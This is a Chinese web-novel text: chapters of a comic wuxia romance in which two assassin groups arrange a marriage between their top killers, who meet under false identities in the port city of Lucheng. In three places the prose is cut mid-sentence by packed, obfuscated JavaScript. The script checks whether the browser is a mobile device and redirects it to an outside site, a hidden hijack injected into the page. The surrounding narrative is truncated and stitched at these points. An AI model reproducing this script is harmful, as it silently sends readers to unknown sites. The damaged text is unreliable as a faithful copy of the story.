《组织给我们的任务是联姻》 1. 谁和谁联姻 潞城,城外十五里,停马寺。 停马寺是一座荒废许久的破庙,平日里少有人去,每到夜里更是寂静得犹如鬼寺。 今日是中秋,附近镇上的居民都早早还家,与家人团聚,停马寺方圆几里都不见一个人影。 煌山堂和幽夜司便选在此处接头。 煌山堂和幽夜司是当今江湖上名号最响的两大暗杀组织,只因两组织在短短三年内,接连杀了数十位朝廷贪官和割据豪强。 连皇帝都对这两个组织颇为忌惮,毕竟朝廷气数已尽,各地兵马四起,被杀的人中不免封疆大吏和豪强权贵,很多人的权势和地位甚至要高过他这个有名无实的皇帝。谁也说不好,哪天自己会不会也被一刀结果了。 而百姓则为他们劫贪济贫的善举而拍掌称快,只因那些死去的官员和豪强无一不是暴虐不仁,鱼肉百姓的贪官悍匪。 很快皇帝和各地豪强都坐不住了,斗了多年的他们居然在围剿煌山堂和幽夜司这事上达成了一致,开始大肆捕杀这两个组织的人。 尽管两组织的头号杀手:碧落和黄泉,依旧逍遥在外,继续无情收割着贪官的性命,但煌山堂和幽夜司各自都有几条暗线被切断,行动受阻。 情势所迫,一直以来都各自为战的煌山堂和幽夜司,不约而同动了结盟的心思。 于是,便有了今夜的停马寺之约。 寺中正殿内,一个穿着破袍子、样貌极其普通的青年,正一边拿袖子扇灰,一边以袖掩鼻,朝身边的另一名戴着面具的黑衣青年抱怨道:“非得在这儿吗?就不能换个正常点的地方?” 黑衣青年用身体护着殿内唯一一盏快要被他扇灭了的蜡烛,气道:“你别扇,就什么灰都没有,给我老实坐好。” 破袍子愤愤坐下,依旧抱怨道:“虽然咱们叫幽夜司,但犯不着非得在这么应景的破庙里和煌山堂的人碰面吧?找个酒楼不行吗?” 黑衣青年:“你当吃席啊,还酒楼,这地方是煌山堂的人选的,我看也好,寺外围空旷,不会有人埋伏。” 听见“埋伏”二字,破袍子心中一凛,凑近黑衣青年问道:“咱们的人呢?不会就咱俩吧?” 黑衣青年:“带着呢,若有异动,以笛声为令,他们自会赶到。” 破袍子这才放心下来。虽说是两方结盟,可煌山堂和幽夜司这么多年来都没有任何接触,谁也不知道谁都底细,多防备一些也是应该的,况且煌山堂那边带的人也绝对不会少。 啪的一声,枯枝被踩断, 二人齐齐抬头,往殿外望去。 只见一青衣少女与一美妇人并肩走来。 青衣少女样貌平平,而那妇人身材圆润丰腴,衣着华丽,妆容精致,和这破庙格格不入。 美妇人的腰间配着一枚血红的玉佩,上面刻着煌山堂标志的火焰纹,曾在煌山堂的刺杀现场出现过。 破袍子眼睛一转,迎上前道:“想必两位便是煌山堂的使者了吧。在下无常,我身边的这位是黑白,由我二人与贵堂商讨结盟一事。” 青衣少女面无表情,守在美妇人身后,与黑白相对而立,宛如一青一黑两樽雕塑。 美妇人盈盈一笑,尽管能看出上了些年纪,却依旧妩媚动人:“我身边的这位是阿青。”说着,侧首看向青衣少女。 阿青略一点头。 “我便是煌山堂堂主,雪荣,二位可唤我荣夫人。”雪荣微一欠身,朝两人行了一礼。 无常没想到今日竟是煌山堂堂主亲自到场,但这也足见煌山堂对此次结盟的重视,他便直入主题道:“见过夫人。今日黄泉虽然未能亲至,然我和黑白二人足以代表他与贵堂商议结盟之事。” 雪荣的目光在两人身上转了一圈,笑道:“无妨。说起来,咱们各自第一高手的名字早有相合之意,还真是有缘。” 无常:“正是如此。当早些结识夫人的,说不定……还能多保住我们的几个线人。” 说到这,雪容的笑也没了。 两人又就各自组织的近况交换了一些信息。 面对朝廷和豪强的联手围剿,双方的近况都不乐观。 见对方坦诚,雪容也不绕弯子了:“既然情势如此,不知贵司对结盟一事可有什么章程?” “不瞒夫人,我们对此确有想法。”无常与黑白对视一眼,黑白朝他点点头。 无常收回视线,从容道:“纵观古今,稳固的结盟,总离不开一个最牢固的方法——联姻。” “联姻”二字一出,黑白脚下登时一个趔趄,拄着长剑都差点没站稳,看着无常的眼神更是跟看疯子一样。 雪荣和阿青也目瞪口呆。 饶是两人一个冷漠面瘫一个八面玲珑,被这从天而降的联姻大计迎头一击,也久久缓不过神来。 震惊过后,黑白立刻去拽无常,低斥道:“你在胡说些什么!” 无常拨开他的手:“你等我说完!” “不是,你” 雪荣打断了二人的争执,努力平静声音道:“这联姻……是谁和谁成亲呢?” 见她的目光在现场四人身上到处乱扫,无常瞬间明白了她的意思,忙解释道:“不是在场诸位!” 在场诸位都松了口气,却又被无常接下来的话砸蒙了。 “让黄泉和碧落成亲。”无常耐心解释道。 如果说刚刚的气氛像一锅沸水,现在便是一盆寒冰。 无常误以为荣夫人是觉得让素未谋面地两人直接成亲会委屈彼此,善解人意道:“当然不是让他们二人立刻就成亲,我们可以让他们去共同完成几个任务,先相互熟悉起来,待二人建立信任后,再成亲也不迟啊!” 阿青看着这人一脸理所当然的表情,心中翻了无数个白眼。 真当自己给人说媒呢?还熟悉了解。 两个最顶尖,最神秘,最来无影去无踪的杀手,你让他们建立信任? 简直是天方夜谭! 不过,说媒…… 阿青忽然惊恐地望向荣夫人,而荣夫人已经开始了她的盘问:“敢问黄泉年龄几何?样貌性情如何?家中几口人?可有祖业田产?在你们幽夜司的薪俸几何?” 坏了坏了!荣夫人进煌山堂之前,是做媒婆的啊! 无常迅速答道:“黄泉今年二十有三,样貌说一句风流倜傥貌若潘安也不为过,家人皆死于战乱,亦无祖业田产,但作为幽夜司的第一杀手,他的薪酬是他每次劫获财物的十分之一,这些年积攒下来,亦非常可观了。” 荣夫人脑中立刻盘算起来:年轻俊朗,武功高强,家人没了,婚后不需要处理婆媳妯娌关系,虽无祖业但薪俸可观,不愁日后没有家产。 这样的条件,勉强配得上自家殿下。 只是在成亲前,年轻的男子手里又有这么多钱,能不学坏吗? “不知黄泉以前可曾成过亲?可有相好?亦或是婚约?”荣夫人问。 无常:“未曾成亲,也没有过婚约,至于相好什么的,荣夫人也不必担心,黄泉他不兴” “什么?他不行?”荣夫人大惊,这不是坑人吗,“他若不行,那这事可不行!” 黑白怒而插话:“黄泉没有不行!他行!” 谁知荣夫人更加警惕地盯着他:“你怎么知道他行的?” 黑白:“我就是知道!” 荣夫人:“你是他什么人?” 黑白:“我是他兄弟!” 荣夫人:“兄弟怎么就知道的?哪种兄弟?” 黑白:“过命的兄弟!小时候一起脱裤子尿尿,长大” “够了!”无常赶忙打断这可怕的对话:“荣夫人别误会,我们二人和黄泉从小一起长大,是过命的交情,但绝对没有别的关系。我方才想说是,黄泉不兴这些,他向来洁身自好,没有不良恶习。” 阿青只觉信息量巨大,她甚至快要忘了,自己一开始要反对什么。 哦对了!联姻! 阿青正要开口,却被荣夫人按住。 起初那些问题,确实是因为以往营生而产生的冲动,但雪荣做了十几年的媒人,没有人比她更明白,结两姓之好的意义。 黄泉和碧落在两派内部的地位不言自明,如果真的能让两人相互信任,继而成亲,那煌山堂和幽夜司便结成了最牢不可破的同盟。 只是,这件事也太过冒险,谁知对方是不是先受了那狗朝廷的招安,再以结盟联姻为名,诱杀自家的顶尖主力。 无常完全理解荣夫人的犹豫:“我明白,贸然提及联姻之事必然会招致夫人的怀疑,但就如我适才的提议,我们可以让碧落和黄泉二人先在任务中熟悉彼此,当然,我们不会向您探听碧落的任何消息,也不会向你们透露黄泉的身份。” 荣夫人:“那他们二人该如何熟悉?” 无常: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206222|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我只需要给他们发布同一个任务,并告诉他们已经在任务中给他们安排了一个内应,让他们相遇时不至于把彼此当成敌人,相信在他们相互配合着完成几次任务后,自然会对彼此有一定的了解。这样,即使他们日后不愿联姻,我们双方也能在他们二人相互熟悉的基础上建立同盟。” “这样的同盟也比我们在这破庙里空口白牙说出来的,要牢固得多。您说呢,荣夫人。” 其余三人的脸色这才恢复正常。 荣夫人此时才相信,眼前这个看起来吊儿郎当的青年,既不疯,也不傻。 也信了幽夜司真有结盟之意。 思索片刻,荣夫人道:“我给碧落去信吧。她若愿意接任务,联姻之计便可行。” …… 京城,三王爷府,府中地窖。 一名身材高挑的女子,着一身墨色锦袍,梳着高马尾,正在敲地窖的墙皮。 墙皮剥落几块,里面透出的灿灿金光立刻在满室的烛火映照下变得异常显眼。 女子一笑,忽然意识到这座金砖墙是地窖的承重墙,嘴角又耷拉下来,回头狠狠刮了身后一个锦衣华服的胖子一眼。 华服胖子上身被绑着,吓得摇头蹬腿,缩到墙角。 女子从墙上拆下一块金砖,动作流畅,犹如捞起一把趁手的榔头,猛敲在华服胖子脑袋上。 华服胖子头一歪,咽气了。 这女子,便是煌山堂的第一杀手碧落,被她一砖结果胖子,就是这偌大王府的主人,当朝三王爷。 很快,阿青便赶到。 见她来了,碧落朝三王爷的尸体扬了扬下巴:“喏,人在那呢。幸好我估量着地窖里有不少宝贝,且得搬一阵子,让你们找了个人易容成三王爷的样子顶一段时间。要不然这满墙的金砖,什么时候能搬完。” 阿青看了三王爷一眼,道:“需要让那人一直顶替三王爷的身份在府中吗?” 碧落嗤道:“一个没有实权只知道敛财的废物有什么用,等地窖里的东西陆续搬完后,就让我们的人撤吧。最近风头很近,你们都小心一些。” 阿青点头,犹豫了半天,还是从怀中掏出那封荣夫人准备的任务信。 信刚拿出来,就被碧落冷不丁抽走了。 “怎么魂游天外一样?什么任务?”碧落一边说,一边拆开信封。 …… 辽州,大屁沟子山,半山温泉。 嵌在半山腰上的一处温泉水面剧烈晃动起来,周围氤氲升腾的热气也惊逃四散。 水下似是有人在打斗。 一声闷哼从水底传出,很快,一团团血雾在清澈的温泉水中扩散开来。 “哗啦”一声。 一人破水而出,雪白的中衣服被水浸透,紧贴在他身上,勾勒出他肩背上如山峦起伏般的肌肉。 紧接着,骨节分明的大手在岸边一撑,那人便在池中的血水追上自己之前,跳上了岸。 他光脚踩在打磨光华的石面上,浸了水的皮肤莹白如玉,跟腱清晰,小腿笔直,再往上便是修长结实的臀腿和劲瘦的腰。 聊胜于无的半透明中衣还在滴水,天空中的细雪还在飘。 他仰头,双手向后捋着浸湿的长发。 这人五官深刻,眉眼秾丽,双唇被温泉浸得红润。 雪花温柔地落在他高挺的山根和稠密的长睫上,被热化后,又平添一股朦胧湿意。 岸边的矮榻上,还有一名半裹衣袍瑟瑟发抖的女子,她惊恐地看着这个如雪妖一般摄人心魄的男人。 殊不知,他便是令人闻风散胆的幽夜司顶级刺客——黄泉。 黄泉扫了眼那女子,随即非礼勿视地移开视线,从地上捡起一件衣袍,先闻了闻,眉头瞬间紧皱。 看周围再无别的衣服,黄泉僵硬的半响,才艰难屏住呼吸,披上了那件衣袍,飞一样地跑走换衣服去了。 待他重新换好一身行头,来到山脚下,天色已经彻底黑了下来。 黄泉压低帽子,遮住自己的眉眼,混入山下小镇的人群里。 帽檐下一双锐利的眼睛度着距离,恰好和一人擦肩而过,黄泉顺势从那人手中接过一张纸条。 离开小镇,黄泉牵过自己的马,展开纸条,上面写着一个地点: 千里之外的京城,碧落也在任务信上看到了同一个地点: “潞城港,县令府。” 2. 潞城相看 潞城,南城,城门外。 准备入城的百姓排了长长一列,两队带刀士兵在队伍两侧纵马巡逻,维持秩序。 皇帝压不住各路反王,中原陷入割据,潞城城外就聚集了越来越多的各地难民。 尽管城外难民众多,但只有拿着路引的潞城居民才可以入城,是以,以往像这样需要排队入城的情况并不多见。 “我说老李,你排了多久了?”一名身着管事绸衫的男子排在队尾,正朝排在前方十步左右的另一人喊道。 那名叫老李的中年人回头:“呦呵!老刘,你怎么也出来了?平时不都你儿子出来吗?” 老刘:“嗐!甭提了,那小子昨夜被东家拎走巡夜,太累了,我让他休息一天,谁知道今天进城要排那么久。” 老李:“是啊,昨天还没要这么久,我在这都排了两刻钟了,前面还是那么多人。” 老刘细长的眼睛四下看了看,见排在前面的都是着布衣的平头百姓,便一边蹭着圆滚滚的身子往前挤,一边大言不惭道:“让我一下啊,让我先过一下。” 迎着前面几人敢怒不敢言的视线,老刘挤到了老李身后,凑到他耳边打听道:“你听说了吗?咱们城里要拍卖个真家伙!是不是就为这事儿,今儿突然就查得严了?” 潞城港乃连接南北的中原第一大港,洛河自此处入海,也带来了源源不断地财帛宝贝。 就算是在朝政混乱、民不聊生的当下,潞城依然能揽尽天下珍宝。 城内商贾云集,酒肆林立,潞城人对各种奇珍异宝也屡见不鲜。 即便如此,这次入城的“真家伙”还是引起了轰动,让已经非常严格的入城搜查又严上了几分。 老李目光在周围扫了一圈儿,小声答道:“跟你说你别往外传,这次的东西,光是捞上来,就死了将近百人。你说它得值多少钱?” 老刘抽了口冷气:“上百人?值当吗?为了捞个死物,死这么多人?” 老李低哼一声:“人命又值几个钱?你看看这些城外的难民,别说给他们一贯钱,就是管他们妻儿老小一顿饭,他们都能把命给你。唉!造孽!” 老刘也感慨了几句,两人继续边聊便顺着进城的队伍往前挪。 “要我说,这次查这么严,也不全因为这东西宝贝,官老爷们肯定是防着那两伙人呐!” “哪两伙人?” “你傻啊!能是哪两伙人?上个月辽州刺史,死在自家山庄上的温泉泡子里了,这事儿你不知道?” “知道啊,可不是说他是泡温泉的时候被身边的侍女杀的吗?” “瞎传!怎么可能,辽州刺史,当年可是打过北蒙人的!他胳膊都有你脑袋那么粗!一个侍女怎么杀得了他?” “那是谁杀的?” “不是煌山堂,就是幽夜司。但看这么神不知鬼不觉的手法,八成是幽夜司!” 两人聊得正起劲,远处传来马车的声音。 巡逻的士兵挥着鞭子赶人,百姓赶紧往两边闪避,让出道来。 那辆马车便这么畅通无阻地越过臃肿的队伍,直接来到了城门前。 车是潞城县令家的,车夫掏出县令给的腰牌,给守城的士兵。 那士兵接过腰牌看了一眼,退后一步,恭敬道:“烦请贵人下车,我等需上车查验。” 车夫瞪圆了眼睛:“腰牌你不认识吗?” 士兵:“认识,即便车内坐的是县令大人的家眷,也需下车待查,这是齐将军的命令。” 车夫嘿了一声,气的一扬鞭子,便要揍那士兵。 车帘后及时传来一个清雅的女声:“罢了,我下车便是,勿因这等小事给父亲惹麻烦。” 声罢,车帘挑开,先是一位青色衣裙的丫鬟从车上跳了下来,转身,为身后那人撩开车帘。 紧跟着,一位身着月白长裙的女子自车中弯腰走出,扶上丫鬟的手,盈盈而落,裙摆在阳光下荡开,宛如一片洒落的金辉。 女子头戴帷帽,银白的轻纱朦胧了五官,虽看不清样貌,可这女子举手投足间,王宫贵胄一般的天家气度,还是让周围的人看呆了眼。 县令什么时候有女儿了,还是这般仙女之姿? 而这县令之女,正是碧落给自己挑的新身份。 一个月前。 碧落收到的新任务让她来潞城盗走一件宝物,这件宝物乃是半年前自前海打捞上来的一个足有半人高的血珊瑚。 碧落接下来确实打算在潞城待上一段时间,这个任务甚合她意,。 但拍卖血珊瑚的东阳拍卖行防守极其严密,组织便给她安排了一个幽夜司的内应,助她完成任务。 碧落早知煌山堂和幽夜司的联盟之意,既然组织已经确定此事,且和对方商议好了内应事宜,基于对组织的信任,碧落也欣然应允。 只是还需要一个让她在潞城顺利潜伏下来的身份…… 回想了想潞城的现状,碧落从自己过往庞杂的家族关系中,找了一个十分合适的新身份——潞城县令的私生女。 潞城县令当年在江陵求学时,和当地大族郑氏的一位嫡系女子有过一段私情,后来潞城县令北上科举,郑氏女子不愿跟随,便留在了江陵。 半年前,反王赵东攻破江陵城,城内大族早早举族外逃,那名郑氏女子便再无音讯,生死不明。 这郑氏女子当年有没有留下子嗣无人知晓,因而碧落便扮作郑氏的女儿,千里迢迢来潞城投奔父亲。 潞城县令多年膝下只有两个儿子,老了老了竟得知自己还有一个女儿,也忆起了年轻时和郑氏的那段情。 他立刻派人,将女儿接了回来,毕竟潞城有自己坐镇,比外面那些三天两头起兵乱、换反王的地方要安全得多。 于是便有了城门下这一幕。 碧落下车,她能感觉到众人的视线都聚集在了她的身上,但她习以为常。 只有一道视线过于锐利,引得她抬头看去,正对上适才请她下车的那名士兵的目光。 这士兵眉眼深邃而浓郁,眉毛和眼瞳都比常人要黑,鼻梁高挺,唇弓饱满而流畅。身形高大而挺拔,比碧落高了快一个头,裸露在外的手臂和脖子都晒成了深麦色,皮肤却水润而细腻,想来是个本地土生土长的渔家儿郎。 这士兵的目光也未在碧落的身上停留太久,似乎只是好奇她面纱下的容颜,很快就收回视线,跳上马车,例行查验。 不一会儿,士兵下车,朝碧落感激一笑:“多谢贵人包涵,可以了。” 青年笑弯的眼睛犹如阳光下的碎浪,让那张已有八分英俊的脸庞更添几分活力与爽朗。 长得还不错,碧落心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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主仆二人对视一眼,没再说话。 是夜,揽月楼,阁楼库房。 碧落一刻钟之前就到了,但她没有急着出去,而是隐在暗处,看血珊瑚的守卫像是被阴鬼索命般,一个接着一个,悄无声息地被干掉。 更可怕的是,看守的侍卫只剩这最后一人了,他却对其余同伴的死,毫无察觉。 碧落暗叹:不愧是幽夜司的人。 她饶有兴趣地观察着,直到那名内应将最后一人干掉,她才于黑暗中现身。 那名内应却悚然一惊,随即突进前刺,直逼碧落。 身法飘忽,几成幻影! 见此情形,碧落才是更心惊的那个,她措手不及拔剑格挡,可幽冷的刀刃也还是逼到了她的面门。 难道这人不是内应? 似乎被她不设防的状态点醒,那人又闪身退了回去。 令人窒息的杀意和压迫感消失,碧落这才松了口气。 两人就这么互相打量着对方,半晌,同时开口道: “内应?” “内应?” 3. 结为姻亲 怎么回事? 这人到底是不是内应? 不对,这个任务明明是自己的,她/他凭什么管自己叫内应! 但此情此景,没有更多的时间留给他们僵持。 两人都只露出了一双眼睛,难以分辨身份,无奈之下碧落试探着将煌山堂的玉牌露出半截。 对面的黄泉这才收刀,随即质问道:“为何来迟?” 碧落莫名其妙:“你是内应,当然是你先来解决守卫。” 黄泉从未见过如此厚颜无耻之人!正要理论几句,碧落丢下他,径自走到了封装着血珊瑚的大匣子前。 这个匣子从外面看起来平平无奇,只在正中央嵌着一个四周雕花的锁孔。 黄泉见她弯下腰,一脚踩着匣子,似是马上就要暴力拆除一般,急道:“别动!锁孔内部有机关!” 便听“咔嗒”一声。 匣子被打开了。 黄泉:“……” 他就多余提醒! 碧落无语地瞥了他一眼,轻嗤道:“内应做好份内的事就行,别瞎操心。” 匣子被打开,完整的血珊瑚彻底暴露在两人面前。 饶是黄泉在幽夜司见过无数奇珍异宝,仍是被眼前的血珊瑚之美定住了。 月光给瑰丽无比的血珊瑚镀上了一层银辉,淡化了它原本浓郁灼人的美,却又为其平添了一丝神秘。 倏地,一块灰扑扑的墩布兜头裹住了血珊瑚。 原本在月色下蛊惑人心的血珊瑚犹如被掐住脖子的大鹅,销声匿迹。 黄泉回神,匪夷所思地看着碧落:“你就拿这破布装?” 碧落不搭理他,手上不停,打了个死结,血珊瑚彻底消失在层层墩布中。 眼看着碧落要将这半人高的墩布珊瑚抗走,黄泉一把按住她:“你想独吞?” 碧落自上而下睨他,眉峰一挑:“怎么?还要给你们幽夜司砸一块儿下来?” 黄泉咬牙切齿:“守卫都是我解决的!” 碧落:“匣子还是我开的呢。” 两人再次陷入僵持。 碧落打量眼前这名内应:夜行衣下的身材修长健硕,按着自己的手背上青筋微凸,犹如一直蓄势待发的野兽。 若他真要拦自己,今日恐怕带不走这血珊瑚。 “我先把东西带走,”碧落盯着野兽的眼睛,“之后煌山堂的人会和你们五五分成。” 野兽一动未动。 碧落:“两派结盟在即,我们煌山堂不会做言而无信、自砸招牌的事。” 黄泉缓缓松手,闪在一边。 这血珊瑚又高又沉,让他放手可以,他倒要看看,她这小身板怎么把东西运出去。 碧落蹲下身,将墩布珊瑚半靠在自己肩上,扛起来就走。 黄泉:“……” 半个时辰后,潞城城东,齐将军府。 黄泉已经换下了一身夜行衣,悄无声息地回到自己的院子里。 吩咐小厮备好水退下,他将脱下的常服搭在屏风上。 黄泉坐在浴桶里,打量自己深麦色肌肤,啧了一声。 黑白无常这两个憨货,不知在搞什么鬼。骗他来潞城给什么齐将军当孙子,还非得给他弄什么晒伤肤色,结果正经事儿一样没干,做个任务连煌山堂的内应都没搞定! 要不是看在三人从小一起长大的份上,现在就回去把他俩暴打一顿! 沐浴完回房,却见齐将军不知何时已等在那里。 黄泉心里一突,面上却露惊喜之色:“这么晚,祖父怎么来了?” 齐将军将他上下打量一番,看着孙子晒黑的脸,满意点头:“不错,看来你这些天没有偷懒。” 齐将军乃潞城守将齐山,三年前调任潞城,头发花白,已有六十岁高龄。 黄泉的新身份就是齐山养在莱城老家的小孙子,齐瀚。 这个小孙子被祖母养在身边,没见过齐山几面,被宠成了个文不成武不就的废物,又在来投奔齐山的路上,死在了乱军之中。黄泉取而代之,成功在这位潞城守将身边潜伏下来。 黄泉面上一苦,抱怨道:“当然没有!每天去城门口站岗,您看我都晒成什么样了!” 齐山哼笑:“该!你就是被你祖母宠坏了,要让你去港口,三天你就得脱层皮!” 黄泉撇撇嘴,一副不服又不敢顶嘴的样子。 齐山:“白天你在站岗时,可遇见县令府的一辆马车?” 黄泉:“县令府的……哦!想起来了。有辆车,里面坐着的应该是她闺女吧,长的跟仙女下凡似的!” 齐山不语,似是在思考。 黄泉:“怎么?想让她给您老当孙媳妇?” 齐山白了这倒霉孙子一眼,接着问:“就一辆马车?还有没有别人跟着?” 黄泉悻悻道:“就一辆车,车上跟了个丫鬟,除了赶车的车夫还有一队侍卫,没别人了。” 齐山疑道:“难道真的是孤女来投奔?” 说完又看向孙子,叮嘱道:“除了我与朱克,潞城内再无第三股势力。表面上我们势均力敌,但这种平衡很容易被打破。今日入城的,是朱克遗落在江陵城的孤女,出身郑氏,家资颇丰,说不定就给朱克带来了一大笔钱,不知藏在哪里,用作什么。” 黄泉回想起白日城门下那匆匆一面,总觉得这朱县令的女儿不像是普通的世家女子,但这就没必要和齐山说了:“江陵城早就破了,我看着郑氏女八成是逃难来的,身上能带几个钱。倒是朱县令弄来的这血珊瑚,守这么严实,该是个值钱的!” 黄泉很想知道血珊瑚的价值,以防煌山堂分成的时候暗中克扣。 齐山:“血珊瑚早在捞出来的时候就被朱克抵押出去,借了一大笔钱,养了一批私兵,要不然在这潞城内,他怎配和我平起平坐。所以就算血珊瑚卖出高价,朱克也捞不着多少。” 黄泉一听,暗自好笑。 钱还没到手,就已经花出去了,不知这朱县令明日一早发现血珊瑚失窃,又该如何。 翌日清晨,县令府。 天还蒙蒙亮,府中管家就敲醒了老爷和夫人的房门。 将搭在自己胸前柔若无骨的手臂拿下去,朱克坐起身,披上外袍,命下人把管家带进来。 管家跟了他多年,非有大事,不会这种时候来见。 锦被中伸出一只细腻丰腴的手,扯住他的衣角,娇嗔道:“老爷,怎么起那么早,再多睡一会儿吧。” 朱克的心思全在屏风外的管家身上,没管那手。 管家战战兢兢地跪下去,头恨不得埋进地里:“老爷!血珊瑚……丢……丢了!” 朱克惊地猛然站起,却觉眼前一黑,又踉跄着坐回榻上,一手撑着床柱,稳住身形。 房内一片死寂。 锦被中伸出的那手僵硬不动,悄悄缩了回去。 朱克坐在榻边,缓了许久,震荡的思绪才渐渐平复。他阖着眼,不知都想了些什么,再睁开眼时,双目一片猩红绝决。 血珊瑚失窃,他再无银子去还通泰钱庄。 可他的私兵已经练出来了,索性一不做二不休,将城内通泰钱庄连根拔起,财货查封,人全杀了,只要他占据潞城一天,便谁也动不了他!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黄泉坐在下首,只见齐山先是沉了脸,而后皱眉,在朱克又断断续续说了长长一段后,他的脸色才逐渐好转,随即浮上笑意,朝自己这边投来一眼。 “哈哈哈!好!很好!”齐山忽然抚掌大笑,“那就请朱县令的令爱出来,让他们两个小辈见一面,此事便算定下了。” 见齐山和朱克都满脸慈爱的看着自己,黄泉心里忽然升起一股不好的预感。 很快,管家将县令唯一的爱女带了过来。 一曲终了,丝竹声恰到好处地停下。 月光皎洁,可女子一袭银白鲛绡的纱裙竟是比月辉还要朦胧纯粹。 黄泉目不转睛地盯着那女子,既是为了让人误以为自己被美色所迷,也是借机欣赏她面纱下绝世容颜。 两人曾在城门下见过一面,即使当时隔着面纱,黄泉依旧觉得,这女子有一种不落凡尘的美,不仅仅是不像朱克的女儿,更不像是会生在这乱世中的人。 冰肌玉骨,乌发樱唇,让人忍不住想亲近把玩,却又被那双煌煌明澈的美目逼退,犹如一朵锋利金箔牡丹,耀眼而危险。 黄泉没意识到自己看了很久,直到被朱县令的一声调侃打断:“看来齐小将军对小女非常满意。” 齐山笑道:“这臭小子都迷傻了,看来你我,注定要做亲家喽!” 亲家? 谁要成亲? 和谁成亲? 碧落刚用目光狠狠瞪了旁边一个盯着她看的黑皮大个子一眼,转头就听见这没头没脑的一句话。 带着一种可怕的猜想,她惊疑不定地看向朱克。 朱克拉着女儿,来到呆坐着的黄泉面前,解释道:“我欲将你许配给齐将军的孙子,齐瀚,我们两家结为姻亲。” 碧落和黄泉僵硬转头,两人如在城门下那般对上视线,心中皆是万马奔腾。 结为姻亲? 怎么突然就要成亲了? 4. 我不成亲 “成亲”这个词对碧落而言,遥远而又陌生。 从儿时起,父皇就告诉过她,她是这天下未来的主人。 她可以选择和自己喜欢的男子在一起,一个也好,几个也罢,无论多少个,那都是她的人,而不是她的夫君。 出宫后,她从荣夫人那听说一堆的男女嫁娶、聘礼嫁妆、家世门第之事。她逐渐明白了,成亲只是一场无关紧要的仪式,比成亲更重要的,是成亲之前的利益权衡,和成亲之后的利益置换。 碧落看了眼朱克,又看了眼齐山,短暂的震惊之后,她很快猜到了突兀指婚背后的原因。 看来在自己来之前,朱克和齐山达成了什么交易。 究竟是什么交易,能让朱克这个老谋深算的人甘愿舍出去自己这名出身郑氏、将来有可能帮他攀上更高的高枝的女儿? 至于成亲的对象是谁…… 碧落又扫了眼一旁仍旧呆呆看着自己的那名青年,认出了这人便是在城门下拦住自己马车的那人。 他的眼睛一转不转地盯着自己,眼神热切却清澈,并无狎昵之意,温润的红唇微微长着,像一只迎候主人归来的狼犬。 嗯,看来不太聪明的样子,可以先不用管。还是搞清楚朱克和齐山在谋算些什么更要紧。 酝酿好情绪,碧落用求助般依赖的眼神看着朱克,小声唤了句:“父亲……” 朱克回看向她,盛满笑意的眼底划过一丝转瞬即逝的警告,轻轻拍了拍女儿的手,道:“我知你要为母亲守丧,可为父护不了你一辈子。齐小将军一表人才,又英勇潇洒,与你乃是良配。你母亲在天也只会欢喜于你得遇良人,不会怪你的。” 碧落捕捉到了那一闪而逝的警告,便知自己猜对了。朱克现在不说,应该是时机不合适。 所以,要答应成亲吗? 朱克另一只手拉着自己,丝毫没有要放松的意思。 碧落心念电转,忽然觉得,其实成亲于她现在的处境而言也并非是件坏事。 昨日傍晚,朱克的夫人带着两个儿子探亲归来,回到府上,未见碧落去拜见她这位名义上的母亲,心中便暗暗记了一笔。 于是,今日一早,这位朱夫人便开始以各种理由找碧落的不是: 鸡还没打鸣的时候就让碧落去给她请安,早膳时当着朱克的面对碧落阴阳怪气,试图把碧落换到一个破旧偏僻的院子,往碧落的院中塞自己的眼线,就连她那两个如她一般蠢笨的儿子,也时常来碧落的院外鬼祟打探或耀武扬威。 碧落来潞城之前提前做了很多准备,唯独没料到朱克这位夫人竟是如此极品。 尽管有朱克镇着,朱夫人不敢真的如何,且阿青也能帮她解决这些琐碎的麻烦,但苍蝇扰人,远离才是最好的选择。 只是,有了入住县令府的这次糟心体验,碧落更害怕齐山的将军府是比县令府更难对付的龙潭虎穴。 “可……女儿才刚刚和父亲团聚,这么快又要和父亲分别,女儿……实在是……”碧落不舍望向朱克,“婚姻大事,父母之命,女儿愿意听父亲安排,只是能否让女儿住的离父亲近些?这样,女儿想父亲时,便能常回府看看您。” 齐山的将军府在城东,朱克的县令府在城西,想要住得离朱克近,就不可能住到将军府里。 朱克似是没料到女儿回这么说,愣了一下,转眼齐山却接住了这话:“朱大人,你这女儿孝心至淳呐!丫头,你放心,我齐山是绝对不会亏待自家的孙媳妇的。这样,我送你们小两口一套宅子,就在城南,离县令府近一些,你回家探亲也方便,阿瀚每日上值离得也近,两全其美。” 碧落立刻应下:“多谢…多谢齐将军。” 齐山爽朗笑道:“还叫齐将军呐,接了我的宅子还不改口叫人吗?” 碧落红了脸,只朝齐山一福身,而后便低着头,不再说话。 见齐山三言两语便将这事儿定下了,朱克后知后觉地意识到了齐山的意图,但此时已无法再改变什么,便也只能笑着替女儿道谢。 朱克又看向黄泉,调侃道:“贤侄怎的不发一言?难道对这门亲事不满意?” 黄泉心道,现在想起我了,刚刚你们你一句我一句,给我说话的机会了吗? 果然,齐山那边立马替自己这傻孙子答道:“他有什么不满意的?令爱这等姿容嫁给这小子,他做梦都能自己乐醒。不用问了,这事儿就这么定了!” 黄泉:“……” 从头到尾,我有说过一个字儿吗? 宴会结束,朱克将齐山爷孙俩送走后,亲自来到碧落的小院。 夜渐深,县令府陷入一片安静的沉睡。 